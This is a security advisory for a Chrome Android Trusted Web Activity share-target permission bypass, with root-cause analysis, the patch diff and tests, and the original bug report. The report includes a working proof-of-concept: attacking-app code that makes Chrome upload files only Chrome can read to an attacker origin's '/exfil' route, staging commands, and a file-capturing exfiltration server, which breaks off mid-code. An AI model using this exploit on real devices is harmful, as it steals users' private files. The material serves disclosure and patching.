CVE-2026-87552
Overview
Background
- Trusted Web Activity (TWA) Web Share Target
- a mechanism where an installed TWA registers as a share target so Android apps can send it
title/text/content-URIs, which Chrome then delivers to the TWA’s web origin via an HTTPGETorPOSTrequest. - Content URI permission
- Android grants transient read/write access to a
content://URI via intent flags such asIntent.FLAG_GRANT_READ_URI_PERMISSION; a process can only read a URI it (or its caller) was actually granted, and Chrome as a privileged app can read many URIs an ordinary app cannot. - `ComponentCaller` / session UID verification
- on Android 15+ (
VANILLA_ICE_CREAM)activity.getInitialCaller()yields aComponentCallerwhosecheckContentUriPermissiontests the caller’s access; on older releases the calling app is identified by the Custom Tabs session’s UID/PID and checked withcheckUriPermission. - Trampoline dispatch
LaunchIntentDispatcherreceives the incoming share intent and repackages it into a freshCustomTabActivitylaunch intent, which is why the eventual activity’s “initial caller” is Chrome itself rather than the original app.
Root Cause Analysis
When a TWA acted as a Web Share Target, Chrome accepted the content URIs in the incoming share intent and forwarded their contents to the web origin without ever checking that the calling Android app had read permission for those URIs. Because Chrome runs with its own privileges, it could read URIs the unprivileged caller could not (Chrome private data, MediaStore downloads, etc.), and it would then upload that data to the TWA’s attacker-controllable HTTPS domain over GET or POST. The invariant violated is that an app may only cause the sharing of data it is itself authorized to read.
The patch enforces this by verifying caller read permission at the trampoline (copyShareDataPermissions, which stashes only authorized URIs in EXTRA_VERIFIED_SHARE_DATA) and again at dispatch (filterShareData, invoked from TwaSharingController before sendPost/GET), using ComponentCaller or the session UID/PID. It also strips any pre-existing EXTRA_VERIFIED_SHARE_DATA from incoming intents so a client cannot spoof the “already verified” marker, and switches getShareData to safeGetBundleExtra so the share Bundle is unparcelled correctly.
ComponentCaller or session UID/PID) into a per-URI FLAG_GRANT_READ_URI_PERMISSION check and drops every URI the caller cannot itself read.Attack Path
- Install a TWA share target A TWA controlled by (or usable by) the attacker is installed and registered as a Web Share Target for its HTTPS origin.
- Craft a malicious share intent
An unprivileged app builds a share intent naming a content URI it cannot read but Chrome can (e.g.
content://for Chrome private data orMediaStoredownloads) and sends it to the TWA entry point. - Bypass the missing check
Pre-patch,
LaunchIntentDispatcherandTwaSharingControllerpassed the URIs straight through with no caller-permission verification, so no authorization gate stood between the caller and the privileged read. - Chrome reads and exfiltrates
Chrome, using its own permissions, reads the URI contents and delivers them to the TWA’s HTTPS domain via the web share
GETrequest orPOSTbody, exfiltrating data the calling app was never authorized to access.
Impact Assessment
content:// resources that only Chrome is permitted to read, with the stolen data uploaded to an attacker-controlled HTTPS origin — a missing-authorization information-disclosure bug in Chrome’s Android browser process. Preconditions are a device with a TWA registered as a Web Share Target and a local app able to send it a crafted share intent. The advisory classifies this as missing authorization in TrustedWebActivities; it does not report exploitation in the wild, and no memory-corruption or code-execution primitive is demonstrated by the patch.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.java |
modified | |
ifchrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java |
modified | |
forchrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java |
modified | |
ifchrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.java |
modified |
Files Changed
chrome/android/java/src/org/chromium/chrome/browser/LaunchIntentDispatcher.javachrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.javachrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.javachrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.javachrome/android/junit/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProviderTest.javachrome/android/junit/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandlerTest.javachrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java
Audit Directions
- Privileged proxying of caller-supplied URIsAudit every path where Chrome reads or forwards a
content://URI from an incoming intent (file handling, share, upload,MediaStore) and confirm the caller’s permission is checked withcheckContentUriPermission/checkUriPermission, not merely Chrome’s own access. - Trusted-marker extras carried across trampolinesWherever an intent carries a “verified”/“trusted” extra (like
EXTRA_VERIFIED_SHARE_DATAorEXTRA_VERIFIED_FILE_CAN_WRITE), verify the receiver strips any client-supplied copy before repopulating it, so a caller cannot pre-seed the trusted flag. - Caller identity under trampoline dispatchReview code that relies on
getInitialCaller()insideCustomTabActivity/repackaged intents, since trampoline dispatch makes it return Chrome’s own UID; confirm such code falls back to session UID/PID for true caller attribution.
Patch
From 0589fb4dd47c16583b13a8f939d2f472b36888c1 Mon Sep 17 00:00:00 2001
From: Kunjan Vinay Patel <ksukh@google.com>
Date: Wed, 26 Aug 2026 09:49:58 -0700
Subject: [PATCH] Verify caller URI permissions before Web Share Target in TWA
Unprivileged Android apps could drive Trusted Web Activity (TWA) Web
Share Target into uploading content URIs that only Chrome has permission
to read (such as Chrome private data or MediaStore downloads) to an
attacker-controlled HTTPS domain without the caller having read
permissions for those URIs.
Changes Include:
- Validates shared content URIs in the trampoline activity
(LaunchIntentDispatcher) using WebAppLaunchHandler to verify caller read permissions (via ComponentCaller on Android 15+ or session UID checks).
- Stashes verified URIs in a new EXTRA_VERIFIED_SHARE_DATA bundle and
strips any pre-existing/spoofed verified share data from incoming intents during the dispatch process in WebAppLaunchHandler.
- Updates CustomTabIntentDataProvider#getShareData to use safeGetBundleExtra to correctly unparcel ShareData from the intent.
- Adds filtering in TwaSharingController to verify URIs before dispatching to the web page via GET or POST, ensuring only authorized URIs are shared.
- Implements filterShareData and copyShareDataPermissions in WebAppLaunchHandler to provide centralized URI permission verification using session-based UID/PID or ComponentCaller.
- Adds Robolectric unit tests for LaunchIntentDispatcher verifying share target permission handling (including partial filtering and invalid URI rejection), for CustomTabIntentDataProvider verifying share data unparcelling, and for WebAppLaunchHandler verifying the filtering logic.
Fixed: 548571656, 547426657
Change-Id: Icd2710e38be5c074a31a68aa6a7e66dfbe24004d
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8280393
Reviewed-by: Sirisha Kavuluru <skavuluru@google.com>
Commit-Queue: Kunjan Patel <ksukh@chromium.org>
Reviewed-by: Jinsuk Kim <jinsukkim@chromium.org>
Reviewed-by: Daniel Murphy <dmurph@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1686504}
---
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/LaunchIntentDispatcher.java b/chrome/android/java/src/org/chromium/chrome/browser/LaunchIntentDispatcher.java
index b1eb69a5..374d1ef 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/LaunchIntentDispatcher.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/LaunchIntentDispatcher.java
@@ -320,6 +320,7 @@
Intent launchIntent = createCustomTabActivityIntent(mActivity, intent);
WebAppLaunchHandler.copyFilePermissions(mActivity, intent, launchIntent);
+ WebAppLaunchHandler.copyShareDataPermissions(mActivity, intent, launchIntent);
Uri extraReferrer = mActivity.getReferrer();
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.java b/chrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.java
index e67c46b5..d438f3b 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/browserservices/trustedwebactivityui/sharing/TwaSharingController.java
@@ -6,6 +6,7 @@
import static org.chromium.build.NullUtil.assertNonNull;
+import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.text.TextUtils;
@@ -23,6 +24,7 @@
import org.chromium.chrome.browser.browserservices.ui.controller.Verifier;
import org.chromium.chrome.browser.customtabs.content.CustomTabActivityNavigationController;
import org.chromium.chrome.browser.customtabs.content.CustomTabActivityTabProvider;
+import org.chromium.chrome.browser.customtabs.content.WebAppLaunchHandler;
import org.chromium.chrome.browser.tab.Tab;
import org.chromium.chrome.browser.webapps.WebApkPostShareTargetNavigator;
import org.chromium.content_public.browser.LoadUrlParams;
@@ -67,6 +69,24 @@
Intent intent = intentDataProvider.getIntent();
assert intent != null;
+ if (shareData.uris != null && !shareData.uris.isEmpty()) {
+ Tab tab = mTabProvider.getTab();
+ Activity activity =
+ (tab != null && tab.getWindowAndroid() != null)
+ ? tab.getWindowAndroid().getActivity().get()
+ : null;
+ // Pass null for caller because activity.getInitialCaller() in CustomTabActivity
+ // would return Chrome's own UID (due to trampoline dispatch). Passing null
+ // forces fallback to session UID/PID verification.
+ shareData =
+ WebAppLaunchHandler.filterShareData(
+ intentDataProvider, activity, /* caller= */ null);
+ if (shareData == null) {
+ return Promise.fulfilled(false);
+ }
+ }
+
+ final ShareData finalShareData = shareData;
return mVerifierDelegate
.verify(shareTarget.getAction())
.then(
@@ -76,13 +96,13 @@
return false;
}
if (shareTarget.isShareMethodPost()) {
- return sendPost(shareData, shareTarget);
+ return sendPost(finalShareData, shareTarget);
}
mNavigationController.navigate(
new LoadUrlParams(
computeStartUrlForGETShareTarget(
- shareData, shareTarget)),
+ finalShareData, shareTarget)),
intent);
return true;
});
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
index 5cfbc73..a97b9c901 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/CustomTabIntentDataProvider.java
@@ -269,6 +269,10 @@
public static final String EXTRA_VERIFIED_FILE_CAN_WRITE =
"org.chromium.chrome.browser.customtabs.EXTRA_VERIFIED_FILE_CAN_WRITE";
+ /** Extra that contains the verified ShareData bundle. */
+ public static final String EXTRA_VERIFIED_SHARE_DATA =
+ "org.chromium.chrome.browser.customtabs.EXTRA_VERIFIED_SHARE_DATA";
+
/**
* Extra that, if set, makes the Custom Tab Activity's height to be x pixels, the Custom Tab
* will behave as a bottom sheet. x will be clamped between 50% and 100% of screen height.
@@ -1683,7 +1687,7 @@
@Override
public @Nullable ShareData getShareData() {
Bundle bundle =
- IntentUtils.safeGetParcelableExtra(
+ IntentUtils.safeGetBundleExtra(
getIntent(), TrustedWebActivityIntentBuilder.EXTRA_SHARE_DATA);
if (bundle == null) return null;
try {
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java
index 14b2f57..e1742af 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/customtabs/content/WebAppLaunchHandler.java
@@ -9,6 +9,7 @@
import static androidx.browser.trusted.LaunchHandlerClientMode.NAVIGATE_EXISTING;
import static androidx.browser.trusted.LaunchHandlerClientMode.NAVIGATE_NEW;
import static androidx.browser.trusted.TrustedWebActivityIntentBuilder.EXTRA_FILE_HANDLING_DATA;
+import static androidx.browser.trusted.TrustedWebActivityIntentBuilder.EXTRA_SHARE_DATA;
import static org.chromium.build.NullUtil.assertNonNull;
import static org.chromium.build.NullUtil.assumeNonNull;
@@ -28,6 +29,7 @@
import androidx.browser.trusted.FileHandlingData;
import androidx.browser.trusted.LaunchHandlerClientMode.ClientMode;
+import androidx.browser.trusted.sharing.ShareData;
import org.jni_zero.JNINamespace;
import org.jni_zero.JniType;
@@ -143,7 +145,7 @@
return true;
}
- private static boolean isValidLaunchUri(Uri uri) {
+ public static boolean isValidLaunchUri(Uri uri) {
if (uri == null) return false;
// Only content URIs are allowed. Legitimate file launching on Android should
@@ -654,6 +656,127 @@
CustomTabIntentDataProvider.EXTRA_VERIFIED_FILE_CAN_WRITE, canWriteArray);
}
+ /**
+ * Checks caller permissions for any file URIs in sourceIntent's share data and stashes the
+ * verified results in targetIntent.
+ *
+ * @param activity The launcher activity.
+ * @param sourceIntent The incoming intent containing client extras.
+ * @param targetIntent The launch intent being prepared for CustomTabActivity.
+ */
+ public static void copyShareDataPermissions(
+ Activity activity, Intent sourceIntent, Intent targetIntent) {
+ // Strip EXTRA_VERIFIED_SHARE_DATA if present on targetIntent so that it cannot be spoofed
+ // by CCT client apps.
+ IntentUtils.safeRemoveExtra(
+ targetIntent, CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA);
+
+ Bundle shareDataBundle = IntentUtils.safeGetBundleExtra(sourceIntent, EXTRA_SHARE_DATA);
+ if (shareDataBundle == null) {
+ return;
+ }
+
+ ShareData shareData;
+ try {
+ shareData = ShareData.fromBundle(shareDataBundle);
+ } catch (Throwable e) {
+ Log.w(TAG, "Failed to parse share data", e);
+ return;
+ }
+ if (shareData == null) {
+ return;
+ }
+ if (shareData.uris == null || shareData.uris.isEmpty()) {
+ targetIntent.putExtra(
+ CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA, shareData.toBundle());
+ return;
+ }
+
+ Object caller = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.VANILLA_ICE_CREAM) {
+ try {
+ caller = activity.getInitialCaller();
+ } catch (Exception e) {
+ Log.w(TAG, "Failed to get initial caller. Falling back.", e);
+ }
+ }
+
+ SessionHolder<?> session = SessionHolder.getSessionHolderFromIntent(sourceIntent);
+ List<Uri> verifiedUris = new ArrayList<>();
+ for (Uri uri : shareData.uris) {
+ if (isValidLaunchUri(uri)
+ && doesCallerHavePermissionForUri(
+ activity,
+ caller,
+ session,
+ uri,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION)) {
+ verifiedUris.add(uri);
+ } else {
+ Log.w(TAG, "Caller does not have read permission for share URI: " + uri);
+ }
+ }
+
+ ShareData verifiedShareData = new ShareData(shareData.title, shareData.text, verifiedUris);
+ targetIntent.putExtra(
+ CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA,
+ verifiedShareData.toBundle());
+ }
+
+ /**
+ * Filters incoming share data to retain only URIs that the launching client app has permission
+ * to access.
+ *
+ * @param intentDataProvider Provides incoming intent and session customization data.
+ * @param activity The activity context, if available.
+ * @param caller The caller object (e.g. ComponentCaller on Android 15+), if available.
+ * @return The filtered ShareData object containing authorized URIs, or null if input was null.
+ */
+ public static @Nullable ShareData filterShareData(
+ BrowserServicesIntentDataProvider intentDataProvider,
+ @Nullable Activity activity,
+ @Nullable Object caller) {
+ Intent intent = intentDataProvider.getIntent();
+ if (intent != null) {
+ Bundle verifiedBundle =
+ IntentUtils.safeGetBundleExtra(
+ intent, CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA);
+ if (verifiedBundle != null) {
+ try {
+ return ShareData.fromBundle(verifiedBundle);
+ } catch (Throwable e) {
+ Log.w(TAG, "Failed to unparcel verified share data", e);
+ }
+ }
+ }
+
+ ShareData shareData = intentDataProvider.getShareData();
+ if (shareData == null || shareData.uris == null || shareData.uris.isEmpty()) {
+ return shareData;
+ }
+
+ if (activity == null) {
+ return new ShareData(shareData.title, shareData.text, new ArrayList<>());
+ }
+
+ List<Uri> filteredUris = new ArrayList<>();
+ for (Uri uri : shareData.uris) {
+ if (isValidLaunchUri(uri)
+ && doesCallerHavePermissionForUri(
+ activity,
+ caller,
+ intentDataProvider.getSession(),
+ uri,
+ Intent.FLAG_GRANT_READ_URI_PERMISSION)) {
+ filteredUris.add(uri);
+ } else {
+ Log.w(TAG, "Caller does not have read permission for share URI: " + uri);
+ }
+ }
+
+ return new ShareData(shareData.title, shareData.text, filteredUris);
+ }
+
private String getScopeUrl(String url) {
String scopeUrl = ShortcutHelper.getScopeFromUrl(url);
if (TextUtils.isEmpty(scopeUrl)) {
diff --git a/chrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.java b/chrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.java
index d3bda87..9ab6907f 100644
--- a/chrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.java
+++ b/chrome/android/junit/src/org/chromium/chrome/browser/LaunchIntentDispatcherTest.java
@@ -20,6 +20,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
@@ -29,6 +30,7 @@
import androidx.browser.customtabs.CustomTabsIntent;
import androidx.browser.trusted.FileHandlingData;
import androidx.browser.trusted.TrustedWebActivityIntentBuilder;
+import androidx.browser.trusted.sharing.ShareData;
import org.junit.Before;
import org.junit.Rule;
@@ -362,4 +364,258 @@
false,
launchedIntent.hasExtra(CustomTabIntentDataProvider.EXTRA_VERIFIED_FILE_CAN_WRITE));
}
+
+ @Test
+ public void testShareTarget_CallerHasReadPermission_StashesVerifiedShareData() {
+ Uri fileUri = Uri.parse("content://com.example/shared_file.jpg");
+ ShareData shareData = new ShareData("share_title", "share_text", Arrays.asList(fileUri));
+ Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://example.com"));
+ IBinder sessionBinder = mock(IBinder.class);
+ intent.putExtra(CustomTabsIntent.EXTRA_SESSION, sessionBinder);
+ intent.putExtra(TrustedWebActivityIntentBuilder.EXTRA_SHARE_DATA, shareData.toBundle());
+
+ doReturn(null).when(mSessionDataHolder).getActiveHandlerForIntent(any());
+
+ Activity spyActivity = spy(mActivity);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.VANILLA_ICE_CREAM) {
+ ComponentCaller mockCaller = mock(ComponentCaller.class);
+ doReturn(Process.myUid() + 1).when(mockCaller).getUid();
+ doReturn(PackageManager.PERMISSION_GRANTED)
+ .when(mockCaller)
+ .checkContentUriPermission(
+ eq(fileUri), eq(Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ doReturn(mockCaller).when(spyActivity).getInitialCaller();
+ } else {
+ mockSessionUid();
+ doReturn(PackageManager.PERMISSION_GRANTED)
+ .when(spyActivity)
+ .checkUriPermission(
+ eq(fileUri),
+ eq(TEST_PID),
+ eq(TEST_UID),
+ eq(Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ }
+
+ LaunchIntentDispatcher.dispatchToCustomTabActivity(spyActivity, intent);
+
+ ArgumentCaptor<Intent> intentCaptor = ArgumentCaptor.forClass(Intent.class);
+ verify(spyActivity).startActivity(intentCaptor.capture(), any());
+ Intent launchedIntent = intentCaptor.getValue();
+
+ Bundle stashedBundle =
+ launchedIntent.getBundleExtra(
+ CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA);
+ ShareData stashedData = ShareData.fromBundle(stashedBundle);
+ assertEquals("share_title", stashedData.title);
+ assertEquals("share_text", stashedData.text);
+ assertEquals(1, stashedData.uris.size());
+ assertEquals(fileUri, stashedData.uris.get(0));
+ }
+
+ @Test
+ public void testShareTarget_CallerDeniedReadPermission_StashesEmptyUris() {
+ Uri fileUri = Uri.parse("content://com.example/secret_file.pdf");
+ ShareData shareData = new ShareData("share_title", "share_text", Arrays.asList(fileUri));
+ Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://example.com"));
+ IBinder sessionBinder = mock(IBinder.class);
+ intent.putExtra(CustomTabsIntent.EXTRA_SESSION, sessionBinder);
+ intent.putExtra(TrustedWebActivityIntentBuilder.EXTRA_SHARE_DATA, shareData.toBundle());
+
+ doReturn(null).when(mSessionDataHolder).getActiveHandlerForIntent(any());
+
+ Activity spyActivity = spy(mActivity);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.VANILLA_ICE_CREAM) {
+ ComponentCaller mockCaller = mock(ComponentCaller.class);
+ doReturn(Process.myUid() + 1).when(mockCaller).getUid();
+ doReturn(PackageManager.PERMISSION_DENIED)
+ .when(mockCaller)
+ .checkContentUriPermission(
+ eq(fileUri), eq(Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ doReturn(mockCaller).when(spyActivity).getInitialCaller();
+ } else {
+ mockSessionUid();
+ doReturn(PackageManager.PERMISSION_DENIED)
+ .when(spyActivity)
+ .checkUriPermission(
+ eq(fileUri),
+ eq(TEST_PID),
+ eq(TEST_UID),
+ eq(Intent.FLAG_GRANT_READ_URI_PERMISSION));
+ }
+
+ LaunchIntentDispatcher.dispatchToCustomTabActivity(spyActivity, intent);
+
+ ArgumentCaptor<Intent> intentCaptor = ArgumentCaptor.forClass(Intent.class);
+ verify(spyActivity).startActivity(intentCaptor.capture(), any());
+ Intent launchedIntent = intentCaptor.getValue();
+
+ Bundle stashedBundle =
+ launchedIntent.getBundleExtra(
+ CustomTabIntentDataProvider.EXTRA_VERIFIED_SHARE_DATA);
+ ShareData stashedData = ShareData.fromBundle(stashedBundle);
+ assertEquals("share_title", stashedData.title);
+ assertEquals("share_text", stashedData.text);
+ assertEquals(0, stashedData.uris.size());
... (file diff truncated)
Original Bug Report
A zero-permission app drives a Trusted Web Activity share target to exfiltrate files only Chrome can read
Summary: A zero-permission app drives a Trusted Web Activity share target to exfiltrate files only Chrome can read
Program: Mobile VRP
URL: com.android.chrome
Vulnerability type: Permissions Bypass
Details
Summary
An Android app holding no permissions can drive Chrome into reading the victim’s Chrome-downloaded files — names and contents, enumerated across a whole MediaStore.Downloads id range in one request with no prior knowledge of any id — and uploading them to an attacker-controlled server. The app never touches the files or sends anything itself: Chrome does the reading and the upload, under its own identity, on the app’s instruction — a confused deputy — which is why the app needs no permission and no URI grant, and why no user interaction is involved.
Chrome’s Web Share Target upload reads each shared file with Chrome’s own ContentResolver and never checks that the calling application was entitled to read it (ets.apply() → getType()/query() → native multipart POST with the is-file flag). Because Chrome opens the URI under its own identity, a content:// URI the framework refuses to the caller is read successfully, with no URI grant. The path is reachable by any installed app through a Trusted Web Activity: the app supplies the share target — including its destination URL — and the file list as intent extras, binds Chrome’s exported CustomTabsService (no permission), calls newSession + validateRelationship(origin), and launches the share once Chrome verifies.
The only gate, Digital Asset Links, checks the calling app against the target origin’s /.well-known/assetlinks.json — a file the attacker publishes on their own server for their own package — so it holds between the attacker’s app and the attacker’s origin and does nothing to protect the file being read. The reachable data is anything Chrome can open: every file downloaded through Chrome is Chrome-owned in MediaStore.Downloads, whose rows are small sequential integers carrying _display_name back, so the download history is enumerated by iteration, not guessed — while the app itself gets an empty result set for the whole collection. No WebAPK and no installed PWA are involved, the destination is attacker-chosen, and there is no user interaction at the moment of exfiltration.
The core of the attacking app — bind, verify, then share the target URI:
CustomTabsClient.bindCustomTabsService(this, "com.android.chrome", new CustomTabsServiceConnection() {
public void onCustomTabsServiceConnected(ComponentName n, CustomTabsClient client) {
client.warmup(0L);
CustomTabsSession s = client.newSession(new CustomTabsCallback() {
public void onRelationshipValidationResult(int r, Uri o, boolean ok, Bundle e) {
ShareTarget t = new ShareTarget(ORIGIN + "/exfil", ShareTarget.METHOD_POST,
ShareTarget.ENCODING_TYPE_MULTIPART,
new ShareTarget.Params("title", "text",
Arrays.asList(new ShareTarget.FileFormField("file", Arrays.asList("*/*")))));
ShareData d = new ShareData("t", "x", Arrays.asList(Uri.parse(TARGET))); // content:// only Chrome can read
startActivity(new TrustedWebActivityIntentBuilder(Uri.parse(ORIGIN + "/"))
.setShareParams(t, d).build(session).getIntent().addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
}
}, 1);
session = s;
s.validateRelationship(CustomTabsService.RELATION_HANDLE_ALL_URLS, Uri.parse(ORIGIN + "/"), null);
}
public void onServiceDisconnected(ComponentName n) {}
});
Attacker server setup
The attacker controls one origin served over HTTPS at a real domain — https://<domain>. A public DNS name with a valid TLS certificate is required, not optional: the share only dispatches after Chrome verifies a Digital Asset Links relationship, and Chrome’s OriginVerifier accepts that relationship only over HTTPS (a cleartext, loopback, or self-signed origin is refused and the share never fires). This is the attacker’s own domain, so it is a setup step, not a barrier to the attack.
That origin serves two things, both from the single script below:
GET /.well-known/assetlinks.json— declares that the origin delegateshandle_all_urlsto the app’s package (com.bb.deputy) and its signing certificate. Chrome fetches this during the Custom Tabs handshake and refuses to dispatch the share until it verifies.POST /exfil— accepts themultipart/form-dataupload; this is where the victim’s file lands. Each file part is saved under its real name to./captured/alongside a.meta.jsonsidecar, and a gallery of everything received is rendered at/.
The server (poc_server.py) reads its assetlinks file from ./.well-known/assetlinks.json, so stage that first, in the directory you run it from (the fingerprint below is the shipped APK’s signing cert — replace it if you re-sign):
mkdir -p .well-known captured
cat > .well-known/assetlinks.json <<'EOF'
[{"relation":["delegate_permission/common.handle_all_urls"],"target":{"namespace":"android_app","package_name":"com.bb.deputy","sha256_cert_fingerprints":["B1:C1:E4:F4:0F:A4:FA:7A:A9:AD:A0:AE:FC:05:48:D9:62:E5:22:13:9E:5F:E5:5A:61:2A:9C:29:3C:F9:1A:A0"]}}]
EOF
Then save the script below as poc_server.py and run python3 poc_server.py 8099 from that same directory:
#!/usr/bin/env python3
"""
Attacker-side PoC server for the Chrome TWA share-target confused-deputy finding.
One self-contained server; put any TLS terminator in front of it (Digital Asset Links and the
share are HTTPS-only). It serves four routes:
GET /.well-known/assetlinks.json
The Digital Asset Links file Chrome fetches during the handshake; declares the attacker
app and its signing cert.
POST /exfil
Receives the multipart upload Chrome sends. Saves every file part to ./captured/ under its
real filename, and logs headers plus a metadata sidecar.
GET /
A gallery of everything captured: images inline, each with filename, size, type, time and
source IP. THIS is the report evidence — open it and see the victim's file on the server.
GET /captured/<name>
The raw captured bytes, used by the gallery and downloads.
Run: python3 poc_server.py [PORT]
Default port 8099. Put it behind nginx TLS, proxying / and /exfil to this port.
"""python
import http.server, socketserver, datetime, os, html, json, re, sys
from email.parser import BytesParser
from email.policy import default
HERE = os.path.dirname(os.path.abspath(__file__))
CAPDIR = os.path.join(HERE, "captured")
os.makedirs(CAPDIR, exist_ok=True)
# assetlinks.json may sit here or under .well-known/ — accept either.
ASSETLINKS = next((p for p in (os.path.join(HERE, ".well-known", "assetlinks.json"),
os.path.join(HERE, "assetlinks.json")) if os.path.exists(p)), None)
SAFE = re.compile(r"[^A-Za-z0-9._-]")
def _safe(name):
return SAFE.sub("_", name or "unnamed")[:120]
# privacy=True redacts the source IP shown in the gallery; the real IP is always
# kept in each capture's .meta.json.
STATE = {"privacy": False}
def mask_ip(ip, on):
if not on or not ip:
return ip
parts = str(ip).split(".")
if len(parts) == 4: # IPv4: keep first octet, hide the rest
return parts[0] + ".•.•.•"
return "••• (hidden)" # IPv6 / anything else
def parse_files(ctype, body):
"""Return [(field_name, filename_or_None, content_type, bytes)] from a multipart body."""
msg = BytesParser(policy=default).parsebytes(
b"Content-Type: " + ctype.encode() + b"\r\nMIME-Version: 1.0\r\n\r\n" + body)
out = []
if msg.is_multipart():
for part in msg.iter_parts():
out.append((part.get_param("name", header="content-disposition"),
part.get_filename(),
part.get_content_type(),
part.get_payload(decode=True) or b""))
return out
class H(http.server.BaseHTTPRequestHandler):
server_version = "poc/1.0"
def _send(self, code, body, ctype="text/html; charset=utf-8", extra=None):
if isinstance(body, str):
body = body.encode()
self.send_response(code)
self.send_header("Content-Type", ctype)
self.send_header("Content-Length", str(len(body)))
for k, v in (extra or {}).items():
self.send_header(k, v)
self.end_headers()
self.wfile.write(body)
def do_POST(self):
path = self.path.split("?")[0]
if path == "/privacy": # toggle source-IP redaction in the gallery
STATE["privacy"] = not STATE["privacy"]
return self._send(303, "", "text/plain", {"Location": "/"})
if path == "/reset": # clear all captures between test runs
n = 0
for f in os.listdir(CAPDIR):
try:
os.remove(os.path.join(CAPDIR, f)); n += 1
except OSError:
pass
return self._send(303, "", "text/plain", {"Location": "/"})
if path != "/exfil":
return self._send(404, "not found")
n = int(self.headers.get("Content-Length") or 0)
body = self.rfile.read(n) if n else b""
ts = datetime.datetime.now()
stamp = ts.strftime("%Y%m%d-%H%M%S-%f")
ctype = self.headers.get("Content-Type", "")
# real origin when behind a reverse proxy (nginx sets X-Real-IP / X-Forwarded-For)
ip = (self.headers.get("X-Real-IP")
or (self.headers.get("X-Forwarded-For", "").split(",")[0].strip())
or self.client_address[0])
saved, fields = [], {}
try:
for field, fname, ftype, data in parse_files(ctype, body):
if fname: # a file part
disk = f"{stamp}__{_safe(fname)}"
with open(os.path.join(CAPDIR, disk), "wb") as f:
f.write(data)
meta = {"received": ts.isoformat(), "source_ip": ip, "field": field,
"orig_filename": fname, "content_type": ftype, "size": len(data),
"disk": disk, "user_agent": self.headers.get("User-Agent", "")}
with open(os.path.join(CAPDIR, disk + ".meta.json"), "w") as f:
json.dump(meta, f, indent=2)
saved.append(meta)
else: # a plain form field
fields[field] = (data[:200]).decode("utf-8", "replace")
except Exception as e: # keep the raw body even if parsing fails
with open(os.path.join(CAPDIR, stamp + "__RAW.bin"), "wb") as f:
f.write(body)
saved.append({"error": repr(e), "size": len(body)})
with open(os.path.join(HERE, "captured.log"), "a") as log:
log.write("=" * 20 + f" {ts} POST {self.path} from {ip}\n")
log.write(str(self.headers))
log.write(f"\nFILES SAVED: {[s.get('orig_filename') for s in saved]} "
f"FIELDS: {fields} TOTAL BODY BYTES: {len(body)}\n\n")
self._send(200, json.dumps({"ok": True, "saved": saved, "fields": fields}),
"application/json")
def do_GET(self):
path = self.path.split("?")[0]
if path == "/.well-known/assetlinks.json":
if ASSETLINKS:
return self._send(200, open(ASSETLINKS, "rb").read(), "application/json")
return self._send(404, "no assetlinks.json staged")
if path.startswith("/captured/") or path.startswith("/download/"):
name = _safe(os.path.basename(path))
fp = os.path.join(CAPDIR, name)
if os.path.exists(fp):
meta = self._meta(name) or {}
ct = meta.get("content_type", "application/octet-stream")
extra = None
if path.startswith("/download/"): # force a save-as under the real filename
orig = _safe(meta.get("orig_filename") or name)
extra = {"Content-Disposition": f'attachment; filename="{orig}"'}
